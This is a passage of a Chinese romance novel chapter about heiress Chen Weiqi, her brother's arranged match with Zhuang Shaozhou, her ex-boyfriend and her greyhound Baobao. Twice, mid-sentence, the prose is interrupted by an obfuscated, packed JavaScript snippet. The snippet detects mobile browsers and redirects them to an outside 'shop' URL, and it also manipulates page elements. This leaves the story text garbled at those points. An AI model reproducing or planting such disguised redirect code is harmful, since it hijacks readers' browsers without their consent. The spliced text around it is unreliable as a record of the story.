陈北檀揉了揉眉心,“你是lady,说话不准粗鲁。” “我是lady的前提是你是gentleman,你是吗?陈北檀!你就是个搞小动作的大反派!” 陈北檀笑出声,懒得和她打嘴皮子官司,她从小就伶牙俐齿又赖皮,他一向说不过。 “说正事,薇薇。” “这周六晚上庄少洲来家里吃饭,你那天早点回家,别让客人等。” 陈薇奇:“不去!” “又闹什么别扭。前几天易家的酒会,你和他公开出席总不是我逼你的吧?” 陈薇奇没说话。 那头继续:“庄家那边很配合,当晚就打电话到家里,说找个时候商量婚事,让你随便提要求,他们全部满足。” 办公室的天花板上吊着一盏羽毛灯,很亮,陈薇奇就看着,双眸被那强光刺得一度失明,声音很轻:“陈北檀,我能提什么要求?你不是都把我的事安排好了吗,今年结婚,明年就生孩子,是吗?” 陈北檀有一瞬间的沉窒,冷酷说:“你不愿意,庄家也别想逼你生孩子。” “别演好人了。我分手一个月你让我去见庄少洲,我见了,今年还剩下五个月,你做主了我的婚期。我是你的妹妹,还是你巩固权利,争夺家产的工具?” “……薇薇。”陈北檀只能把这样做的理由一五一十地解释,“大哥不会害你,既然决定了结婚,拉长时间只会增加不确定因素,庄少洲这人你和我目前都看不透,很多订婚一两年又解除婚约的,不如早点——” “我一点都不想听你分析利弊,也不想听你说那些跟把头发接长差不多的论调。” 陈薇奇想到了很久远的一个画面,忽然问,“大哥,你是不是知道我不会恨你,所以才对我这样坏。” 就像陈心棠,算准了她对静姨狠不下心,才敢动不动来试探她的底线。陈薇奇明明把心软藏得很小心很谨慎,但还是会被人抓住把柄。 陈北檀:“薇薇,大哥爱你。” 陈薇奇弯起眼睛,呼出一口气,“好多人都说爱我,但这些爱都是有代价的。这是最后一次,大哥,我听你的。其实我宁愿你当年不要选我,把我留在那,你自己走。” 这样,她就能有资格恨他了。 陈北檀没有想过陈薇奇会突然提起这件往事,疲惫地摘下眼镜,撑着额头,沉稳而固执:“你是我妹妹,就算当年在那种情况下只能活一个,我也会选你。” . “檀哥,你还好吗?” 一只纤细的手覆盖上来,隔着冰冷的西装面料,陈北檀也感受到了一丝柔软。他迅速恢复了一丝不苟,戴上眼镜,看向女人,“想到吃什么了吗。” 颜筝很知趣地没有问那通电话,只说,“还没想好。要不还是去常去的那家吃吧。” “不是说吃腻了。” “那能怎么办,也找不到更合适的。” 又要陈北檀喜欢,又要安静,又要干净,又要高档,又要私密,又要有口风严实的服务生。 “那就去那家。”陈北檀按下内线,吩咐助理去订位和备车。 他强势做了决定,颜筝没有说什么,嘴角仍旧勾着温婉的笑容,她把帽子,口罩,墨镜都戴上。 陈北檀看她把自己遮得严严实实,笑了声,“鬼鬼祟祟的。” 颜筝的笑被口罩遮住,声音咕咚咕咚的,很可爱,“最近狗仔盯我盯得好厉害,怕给你惹麻烦嘛。” 《三个房间》上映后反响超出预期,一部文艺片能在内地四天狂揽两亿票房实属罕见,影评人说周霁驰有望靠这部电影冲金像影帝,连带颜筝这个女二号也频频上热搜,名气和身价都水涨船高。 和陈北檀在一起的秘密绝对不能见光,二线女明星和顶级豪门继承人,曝光了会被杜撰成多么难听的“精彩故事”,她心知肚明。 但颜筝更多是为了他的声名。 “你会去看我新上映的电影吗。”颜筝还是没忍住,扯住他的衣角,轻轻问他。 陈北檀这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13724634|144213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种日理万机的男人,让他去电影院看一部两小时的文艺片,不亚于天方夜谭。颜筝刚说完就后悔了。 “三个……” “三个房间。” “嗯,三个房间。有时间我去看。”陈北檀不保证他能抽出时间。 颜筝笑起来:“嗯!没时间也没关系。不用特意。” 陈北檀处理完最后一点工作,去拿西装外套,忽然问颜筝:“周霁驰那孩子最近怎么样。” 陈北檀今年即将三十,二十四岁的周霁驰在他面前可不是个孩子。 颜筝怔了下,眼中透出忧愁,“驰仔他…最近不太好。” 周霁驰因为胃出血进了一次医院,这事只有身边几个熟人知道。当时正在内地跑路演,他是拔了针头去的现场。 “他没有想着再找Tanya吧。” “不会的!檀哥你放心!”颜筝一时凛然,急忙为周霁驰做保,“他绝对不是死缠烂打的人,我和他认识这么久,我知道他的为人。” 陈北檀摸了摸颜筝的脸,让她别紧张,他只是随口问问。半晌后,他说,“他们不是同路人,最终也要说再见的。” 身份,地位,理想,价值观,家庭,还有未来的不确定性,任何一样东西都能让他们说再见。 有些爱情就是烟花,灿烂过,然后坠落,没有谁可以让烟花永远绽放下去。 当然,陈北檀也不认为庄少洲就合适,这种高高在上的男人,更不可能带给薇薇想要的那种纯粹的缠绵的唯一的爱情,但陈庄两家的利益可以永远维持下去,薇薇能得到数不尽的名利风光,焉知不是一种别样的圆满。 薇薇总有一天会知道,爱情并没有那么重要。 “是啊…不是一路人。”颜筝强颜欢笑。 陈北檀慢条斯理地套上西装,“Tanya要结婚了,他死心了也好。” 颜筝愣住,一种深刻的寒气从背脊上冒出来,一瞬间就充斥全身。陈小姐要结婚了,才和驰仔分手一个多月就要和别人结婚了。 颜筝不敢相信周霁驰知道这个消息后会有多难受。兔死狐悲,她突然想到了自己,不论是她还是周霁驰,他们这种人好渺小啊,渺小到只是一粒尘埃。 陈北檀和陈薇奇所在的世界,是他们这种普通人闯不进去的。偶然进入了,窥见一角,最后也要默默退场。 . 陈薇奇伏在办公桌上趴了会儿,这通电话让她很疲惫,小狗跳进她怀里,鼻子埋进她的胸口,舔了舔露出来的一点点馨香嫩沟。 “色狗…” 宝宝不懂这些,舔得更欢。不能出去玩,还不能舔一舔香喷喷的地方吗。 “好吧,你成功了。”陈薇奇直起身来,手掌控住狗脑袋,“工作是废了,带你出去溜一圈好了。” 宝宝一下子就支棱起来,欢脱地跳下去,把角落里的遛狗绳衔过来。弄好后,陈薇奇牵着绳子,几乎是被狗拽着,跌跌撞撞出了办公室。 蕤铂的港区总部大楼是一栋七层高的独立建筑,就伫立在港岛最繁华的CBD地区,奢侈品一条街上。 六年前陈家委托全球顶级建筑事务所Lpp打造了这栋华丽的鎏金大楼,耗时整整两年,外观由三万多块镶嵌金丝的超厚水晶砖组成,通体呈现出波光粼粼的蓝金色,入夜后尤为美丽,被称为“月光楼”。 大楼分为左右两半,左半边是旗舰店、贵宾接待室、艺术空间,右边则是办公区和高定工坊。顶楼露台还营业着一间全球唯二的蕤铂甜品店,另一家开在纽约。整个空间非常明亮,全线家具都来自蕤铂的家具工厂,扑面而来的奢侈气息,空气里喷洒着高级香氛,让人轻而易举地迷失在纸醉金迷中。 小狗并不懂纸醉金迷,也不懂它随便拿爪子挠挠的“小玩具”,可能把它卖了都买不起。 它只知道放风太快乐了。 “慢啲!你呢个衰嘢(跑慢点啊,你这个坏蛋)!” 陈薇奇狼狈地逮着牵引绳,费力跟上小狗奔跑的节奏,高跟鞋踩得很吃力。 来往的员工看见这一幕,没有谁觉得意外,自觉避开的同时还不忘夸赞一句bb超可爱,都知道这只意大利灵缇是大小姐的宝贝。 大小姐带狗上班不是一次两次了,最近这个月更是天天形影不离, “汪!汪!” “汪——!” 宝宝嘚儿嘚儿地,忽然急刹车停下来,圆溜溜的大眼睛盯着一个地方发愣,尾巴翘得高高。陈薇奇终于能歇一会儿,气喘吁吁地靠着墙柱,宝宝去咬陈薇奇的裙摆,示意她也去看。 “又看到了什么……” 陈薇奇无奈,顺着小狗巴巴望着的方向看过去。 那是一楼旗舰店外部的一块超大环绕广告屏,因沪城大秀在即,广告屏循环播放着最新品牌大片,由四位全球代言人共同拍摄,周霁驰作为其中唯一的亚洲面孔,也是唯一的男性,瞩目出众是毋庸置疑的。 那双清冷的眼睛被光影掩映着,头发留长,更显得忧郁,颓靡,导演非常会拍人,让他在荒芜孤独的塔克拉玛干沙漠中行走。 不过是和屏幕中眼睛对视,陈薇奇的心脏还是骤然抽紧。 广告于一周前拍摄完成,视觉部总监请示过,但她没有看。她最近只走专属电梯,从地下车库直达办公室,千方百计避着这栋大楼里无孔不入的广告,海报…… 还是避不开。 一个多月未见,他瘦了很多。 陈薇奇仿佛又听到那股尖锐又空旷的声音从耳边爆破,世界掉进了一个安静的树洞,她心底一阵沉过一阵,就连牵引绳从手指上掉下去也没有察觉。 宝宝突然拔腿而跑,朝广告屏飞奔而去,它兴奋地汪汪叫,它要去找爸爸。 那是爸爸。 “宝宝!陈宝宝!你给我回来!” 陈薇奇惊醒过来,才发现宝宝早就飙远了。 . 10.宝宝 “庄生,这些是黎太订的首饰,您请过目一下。” 安静的VIP贵宾室里,蕤铂港区旗舰店的店长正在向客人展示到货的珠宝。 顶灯明净,照得黑丝绒托盘上的珠宝无比璀璨,有胸针,头箍和一顶羽毛冠冕,都是蕤铂年初上市的春夏高珠系列,以千姿百态的蜂鸟和山雀为灵感,在宝石和钻石的基础上运用了真正的雀鸟羽毛,实物非常灵动,也很震撼。 黎雅柔高调地支持未来儿媳妇的事业,一口气订了两千万的货,专挑那些少有人问津的特殊款式。 店长也是第一次看见“山灵梦境”系列的冠冕,以至于介绍的时候都放轻了呼吸,又难掩激动,只可惜坐在沙发上的男人看上去兴致不高,手边的茶放温了,才冷淡地端起来浅尝一口。 棉麻质地的浅咖色西装让他看上去很斯文随性,只是气场强大,令人无法不紧张。 . 一个小时之前。 庄少洲在盛徽总部开月度财务会议,会议结束后,白秘书十万火急地把电话递过来,他以为是什么大事,结果是黎雅柔差遣他跑腿,拿什么首饰。他这几天忙得要命,哪有时间跑腿,“让助理去拿,您非要折腾我做什么。” 电话里传来咆哮:“我是让你去拿东西的吗!你老婆在那上班你不知道啊!” “…………” 庄少洲被老婆二字弄得稍显不自然,大步踏入电梯,低下声:“她又不是在店里上班。黎女士,你说话注意点。” 黎雅柔嘁了声,大男人真放不开。她慵懒地在美容床上翻了个身,点拨道:“你主动一点,带束花去接她收工,带她去食饭睇戏,再找个有情调club——” “带她去饮酒?再趁她醉酒把她带去酒店?是吗?”庄少洲脸都阴沉着,没注意到白秘书怪异地瞄了他一眼。 黎雅柔:“想些什么乱七八糟的,混蛋,我教你风流,没让你下流!” 庄少洲:“…………” 黎女士是性格强势的人,找的丈夫,现在该说是前夫,也就是庄少洲的父亲也是性格强势的人,生下来的孩子自然也继承了强势的一面,也不知是不是正正得正,平时庄家的家庭聚会,一屋子强势的人坐在一起,倒是和谐爽快,其乐融融。 “让你去就去,少废话。” 庄少洲只能抽出时间替黎雅柔跑腿,这都没什么,让他心情不好的原因根本不是跑腿。 “庄先生,您看这几样首饰还满意吗?不满意的话,我们可以再探讨如何做得更完美。”店长介绍完了,又出具瑞士Gubelin宝石实验室的鉴定证书,男人还是没有说话,她只能试探地问一句。 高定珠宝的售卖中,服务是很重要的一环,若是客人有任何不满意,都能拿回到设计师和工匠那重新修改细节。 “就这样。” 很自矜的三个字,低音炮不带任何情绪,又似乎夹杂了一丝冰冷。 店长终于听见男人发话了,心中的大石落地。这是男人进店后说的唯一一句话,店长也不知道服务有哪里不满意,从进店起男人的情绪就不高。 “好的,庄先生,我们为您包起来。”店长笑容亲切,用专用绒布擦拭着珠宝上不存在的灰尘,再分别放置在精美的丝绒首饰盒中。 庄少洲面无表情地看向腕表上不停转动的陀飞轮机械,视线一直低垂,不肯多抬一寸,直到手机震动起来,他敷衍地接通。 又是黎女士的电话。 一接通,黎雅柔就迫不及待追问进展:“见到薇薇了?” “没有。” 他视线不经意地扫过茶几上的品牌杂志,周霁驰的脸赫然出现在封面上,冷笑说:“但是我见到了她爱得死去活来的前男友,也算不虚此行。” 黎雅柔:“…………?” “多谢你的馊主意,黎女士。她的店里全是她前男友的广告,很上镜,需要再给你带一本杂志回来吗。”他嘲讽地说。 黎雅柔顿时爆出一阵看热闹不嫌事大的笑,笑得肚子都快抽筋了,她居然忘了蕤铂的代言人是薇薇的前男友! “Sorry啦儿子,哈哈哈哈哈哈哈哈哈——男人心眼别这么小嘛,前任而已,你大度点!薇薇喜欢大度的男人!妈咪还有事忙哦,就不说了,拜拜——” 大度。 庄少洲心头涌过一阵燥意,母亲的嘲笑让他这几天都非常平静且克制的情绪波动起来。 自从上次和陈薇奇共同出席酒会后,圈里陆续有好友来问他婚事,调侃他闷声干大事,说什么难怪陈三小姐分手闹那么大,原来是在给他表忠心,甚至催他把陈薇奇带出来一块聚聚。 怎么带出来?他花几千万去买陈薇奇的钟,让她陪他来演戏吗? 陈薇奇给了一千万后拍屁股走人,一连几天了无音讯。 现在他来了她工作的地方,才发现到处都是她前任的脸。广告海报铺天盖地。 在这种环境里工作,她还真是厉害。 庄少洲知道自己表情阴沉着,他讨厌被这种可笑的、微不足道的人和事影响。 他骨子里的傲慢在作祟着,周霁驰算什么东西?甚至不是他的人,只是一本杂志,一支广告,居然敢来影响他的情绪,简直是笑话。 庄少洲滚了下喉结,随后云淡风轻地把那本杂志拿过来。 身后等得快打盹的白秘书顿时露出惊恐的表情,老板这……大度过头了吧? 封面是周霁驰的特写,罩着一件修身的白色西装,非常大胆的真空穿法,露出紧致流畅的胸腹线条,是女人看了会尖叫的那种打扮。 庄少洲微眯了下眸,嘲讽地轻哂,长相和身材都不过如此,还画了妆才是这种效果,陈薇奇居然喜欢这种,还喜欢得死去活来。 这女仔眼光其实一般。 冷漠的视线一瞬不瞬,从周霁驰的身材转移到他身上佩戴的珠宝,脖子上是一条工艺繁复的钻石项链,非常独特的领带样式,还别了一枚同款领带夹。 ——“正好这次蕤铂新出了一款领夹,红宝石的,很衬你。这两天我就给你拿过来。” 女人替他整理领带的娇媚模样浮现在脑海中,以及她随口许下的空头支票。 不止眼光差,还不守信用,这都第四天了。 白秘书凝重地掐着表,老板已经盯着那本杂志封面看了三分钟了,他怕老板走火入魔,正要提醒,庄少洲忽然把杂志放回茶几,动作不大,白秘书还是一个激灵。 庄少洲:“有领夹吗,要红宝石的。” 店长立刻回答:“有的呢!我们最新的男士系列就是主打红宝石,领夹袖扣胸针都有,我帮您推荐?”店长冲一旁的导购使了个眼色,导购迅速去拿新一季的lookbook。 店长恭敬地蹲跪在庄少洲腿侧,lookbook展开,她指着上面一款由六颗无烧鸽血红镶嵌而成的领夹说道:“这是我们的最新款,等下个月沪城大秀后才会上市,是来自缅甸抹谷矿区的无烧鸽血红,颜色非常完美浓郁,目前全球唯一佩戴过的就是我们的代言人周霁驰先生。您看——” 店长翻开那本刚才被庄少洲“欣赏”过的杂志,庄先生说不定是周先生的电影粉,不然也不会盯着封面看那么久。 “上身超有气质的!您戴上绝对比我们的代言人更英俊!” 白秘书捂住脸。 庄少洲:“…………” 他为什么要和陈薇奇的前男友比谁更英俊。 “还有别的吗。”庄少洲冷静地转着食指上的戒指,指腹却绕着戒指上的方形钻石来回摩挲,这是他很烦时才有的小动作。 “我们家的明星同款还有很多。这款,这款都是,还有这款——是港岛限定。” 店长没有察觉到男人冰冷的低气压,她认真推荐,翻了好几款,大部分都是周霁驰佩戴展示的款式,毕竟最好看最华贵的款式才会由代言人来倾情演绎。 庄少洲看着那张无孔不入的脸,心底的烦躁几乎要呼之欲出,她是否也会偷翻这些杂志,在夜深人静的时候看着这些照片出神。 庄少洲发现自己根本就是在自找苦吃。 接受这门联姻是自找苦吃,打算跟陈薇奇耗着是自找苦吃,甚至连五年前在某次晚宴上多看了她一眼亦是自找苦吃。 他现在这样算什么?对陈薇奇莫名其妙的情愫,对未来妻子的占有欲,还是单纯的雄性之间的争强好胜? 庄少洲并不喜欢这种失去掌控的感觉,像是在往某处坠落。 唯一能迅速抽身的方法就是答应她的提议——婚后各玩各的,各自潇洒,各自轻松,反正貌合神离的表面夫妻就是这个圈里的潜规则。 扭曲的念头刚起,安静的空间里传来一声惊呼,随后是一连串哒哒哒哒,不像是人的脚步,更像是动物的爪子锋利地落在大理石地砖。 庄少洲抬眸看过去,下一秒,兴奋的宝宝从楼梯口飞奔而来,两条细腿堪比火箭发射器。 作为奔跑速度最快最灵活的狗,灵缇的时速能达到恐怖的七十公里每小时,它要是颠起来,没人能捉得住。就怕乐极生悲把自己玩骨折。 店长还没看清楚那是团什么东西,灰色影子一跃而起,拖拽一根红皮绳,下一秒,它精准地降落在庄少洲身上,顺带打翻一杯红茶。 一时间场面非常混乱。 店长背脊腾出冷汗,手忙脚乱地去擦庄少洲裤脚上的茶水,随时戒备的贴身保镖迅速一左一右围上来,宝宝感受到威胁,唯恐天下不乱,匡匡乱叫。 当事人反倒最镇定,他抬手朝后挥了下,示意保镖退后,又让店长不必再擦了,比起裤子脏掉,他更讨厌有人碰他。 店长额头上已经冒出冷汗,不停鞠躬道歉,“非常对不起,庄先生,是我们的失误…我来把它抱走吧,您放心,这条狗狗是我们总裁的爱宠,很干净很健康,绝对不会伤害您。” 门店若是出现狗狗乱咬客人,她会为此停职,即使这是意外事件。 “不用。我认识它。”庄少洲看着小狗,手掌在它头上摸了一把。 宝宝哼哧哼哧,一回生二回熟,它对庄少洲身上的气息有印象,没有攻击性,只是太过顽皮了些,在男人身上乱踩乱蹭乱舔。 庄少洲从小就不受猫狗待见,还没有被哪只小狗这样黏过,一时有些受宠若惊。不过喜欢归喜欢,还是受不了被舔得满手黏糊糊,无奈地拿手掌按住它的脑袋,“小家伙,你妈咪呢。” 宝宝发出一连串嘤嘤嘤的声音。 “是偷跑出来的吧,怎么这么不听话。”庄少洲屈起指节,敲敲小狗的额头。 宝宝则一口咬住他的手腕,没真咬,黑亮的眼珠中有撒娇的味道。 庄少洲失笑,发现这小家伙有意思的很,上次见面时凶他又怕他,这次就敢和他玩了。 “好调皮的小狗。” 他低低地说,纵容着小狗拿他的手腕磨牙。 其实有些疼,但在他接受范围之内。 陈薇奇接到电话后就飞快赶到门店,没时间听店员把情况描述一遍,她径直上楼去抓狗。一旦宝宝无意咬了划了客人,被好事者放大,蕤铂会在大秀之前爆出负面新闻。 陈薇奇一路都在盘算出事了该如何道歉赔偿,直到看见沙发上那道矜贵的身影,高跟鞋停下,她定在原地。 庄少洲? 宝宝嗅到了主人的气味,迅速从庄少洲怀里跳出来,来到陈薇奇的腿边,嘤嘤嘤地摇尾巴,仿佛是知道自己做错了事。 陈薇奇狠狠瞪它一眼,没空管它,但好歹松一口气。是庄少洲会比是其他人好很多。 她嘴角漾起漂亮的,社交式的笑容,步伐轻快地来到男人跟前,“居然在这碰见庄先生。什么时候来的,也不说一声,我好亲自接待你。” 她在外人面前永远都这样客气,优雅,把体面刻进了骨子里。 庄少洲没有站起来,就这样随性坐着,有些懒散地抬眸看向她。 从下往上的姿势,与居高临下丝毫不相干,可陈薇奇还是感受到了一股强烈的气场,很难说,每次见他都感觉被什么如有实质的东西包围了,也许是热度,也许是气味,也许是一种看不见的荷尔蒙。 十分钟之前的酸楚被活生生驱赶走,陈薇奇不得不打起精神来,要专注。 “母亲在你这订了一批首饰,今天到店,我帮她来取。” “黎太?”陈薇奇挑眉,店长立刻把黎太的订单拿给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13728752|144213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过目。 “黎太订了这么多,怎么都不告诉我一声,这真是……”陈薇奇看着那两千六百万的大订单,又想到了庄少洲随手转来的五千万,有些无奈。 她朗声吩咐:“邦妮,把我留在这的祖母绿手镯拿来,一起包好。” 店长眼中不乏惊讶,平时比这更大的订单,大小姐也没有这样隆重过,大多是赠送一些限量版项链手链,或者安排豪华度假,邀请出席晚宴party之类。这支祖母绿手镯是大小姐的爱物,一直放在店里做展示,价值达到七位数。 庄少洲看着她,目光深而缓,像一汪流速很慢的黑潭水,“你破费了。” “哪里,一只手镯而已,希望黎太能看得起这点小礼物。” 陈薇奇从不做小家子气的事,一只百万的手镯不算什么,若是能讨黎太高兴,就值得。她和庄少洲的关系可以背地里作假,黎雅柔却是她的正经婆母,婆媳关系处不好,日后麻烦会很多。 她总不能开口让庄少洲这个塑料老公去处理婆媳关系吧?太丢人了。 庄少洲哪里知道她脑子里能想这么一连串复杂的事,他漫不经心地勾出笑意,“你是她儿媳,你送什么,她其实都会喜欢。” 陈薇奇:“…………”她闪过一丝尴尬,迅速换了话题:“对了,这家伙刚才…没有弄伤你吧?”她指了指灵缇。 “没有。它很乖,只是在和我玩。”庄少洲一边说着,一边不经意地抚上自己的手腕。 陈薇奇本来没有注意到他的手腕,目光顺着他的动作瞥过—— “你的手腕!”她爆出惊讶的声音,“——这怎么回事啊!是不是宝宝咬的?邦妮!快去拿碘酒!” 陈薇奇没有多想,一把抓住他的手臂,拉过来,凑近去看。男人清瘦凌厉的腕节布着数道红痕,可以说触目惊心,全部是犬齿留下的咬痕。 隔得很近,她的呼吸若有似无地洒在男人手上,男人手上的香气又若有似无地萦绕在她的鼻尖。 有一点若有似无的暧昧。 陈薇奇心想还好没流血,只是擦破一点表皮,“你放心,我的狗狗非常健康,每年都做身体检查,不用打针的,我平时也会偶尔被它刮伤。” 庄少洲不以为意地嗯了声,低低道:“没说不放心。” 店长很快就拿来碘伏和棉签,陈薇奇直接坐在庄少洲旁边,拿棉签沾了少许碘伏,递过去。 大小姐就是大小姐,完全没有一点要帮人涂的念头。若是其他女孩,早就借机缠上来了。 庄少洲无奈地笑了笑,并不接,很温和地说:“我一只手涂不太好。算了,不用麻烦,拿走吧。” 陈薇奇蹙眉,“这怎么行。发炎了也很麻烦的。不然....” 她看向白秘书。 白秘书挺胸抬头,举起右手:“老板,我想去上洗手间。” 庄少洲沉下脸,“去就去,还用给我打报告?” 白秘书飞快溜走,顺带把保镖也带走,三个牛高马大的大男人结伴去上洗手间,没走几步又返回来把店长叫走,嚷嚷着要选一款价格合适点的项链送阿媽。 陈薇奇张了张嘴。 她很少这样笨拙,手臂悬在空中,沾了碘伏的棉签在空气中迅速氧化,罪魁祸首还在那撒娇摇尾巴。 贵宾室像一片安静的沙滩,只剩下他们两个人。 门店会使用高级香氛,可香氛的味道她太熟悉,所以很敏锐地嗅到了一丝不一样的味道,从男人身上飘来的,很复杂的佛手柑香气,清冽且幽深。 庄少洲把手腕送到她眼前,慢条斯理地开口:“陈小姐,帮我。” 他说是“帮”,其实没给其它选择,醇厚温沉的声线中附着一丝如影子般不易察觉的强硬。 陈薇奇不欲再与他僵持,僵来僵去地很不体面,不过是涂个碘酒而已。她顺势坐到他身边,拿棉签轻轻扫过那截腕骨,垂眸抿唇,自有一股剔透的骄傲在。 骄傲归骄傲,动作是很温柔的,庄少洲觉得有什么东西在挠他,那种细细碎碎的痒很难忍。 “你跟你秘书一年开多少钱啊,这么卖命。”陈薇奇忽然开口。 庄少洲听出她的阴阳怪气,笑着,“税后两百万。今年肯定给他涨。” “………” 不等陈薇奇说什么,他又问,“对了,你的小狗叫什么?” “宝宝。” 庄少洲笑了声,注视着她轻颤的睫毛,缓缓重复:“宝宝。” 浑热的气息落在她的头顶,酥酥痒痒的,他声音压得这样低,醇厚又性感,根本不是在叫小狗。 陈薇奇没有傻到这种地步,她感觉心底一根隐秘的弦被拨了下,手指下意识捏紧了棉签,没控制力道,不小心碾过伤口。 男人明显疼了,但没有收回手。 陈薇奇抬起眼睫,看进他的眼底,深浓的眸色如有实质,对视久了让她四肢发酸。 她咽下一些微妙的情绪,平声问:“你到底要做什么啊。” 庄少洲微笑地看着她,答非所问:“不是说要送我领夹吗,挑一枚特别的给我,我不想要你前男友戴过的款式。” 波澜不惊的声音听不出任何喜怒,但这是他第二次主动提起她的前男友了,很难不让她有其他的想法。 陈薇奇很勉强地笑笑,也答非所问,像是在各说各的,“不是我们第一次见面就说好了吗,你不会在意他。为什么最近总是要提他?” 庄少洲很轻地抬了下眉尾,换了更松弛的姿势,两条长腿叠起,他看着封面上的人脸,“我说过我不会在意吗?” “你说过。”陈薇奇肯定。 庄少洲颔首,很平静地撕毁协议,微笑地注视着陈薇奇:“嗯,那我现在反悔了。” 他决定不去纠结那些混乱的东西,不论是好奇,喜欢,占有欲,还是好胜心,他只知道他想得到陈薇奇,想拥抱她,想亲吻她,想占满她的视线就像他会占满她的身体一样。 他不允许自己的老婆把心放在除他以外的男人身上。 庄少洲两指掰正她的下颌,语气沉缓:“陈薇奇,我发现我很在意你还放不下你前男友这件事。你是我的老婆,你明唔明?” .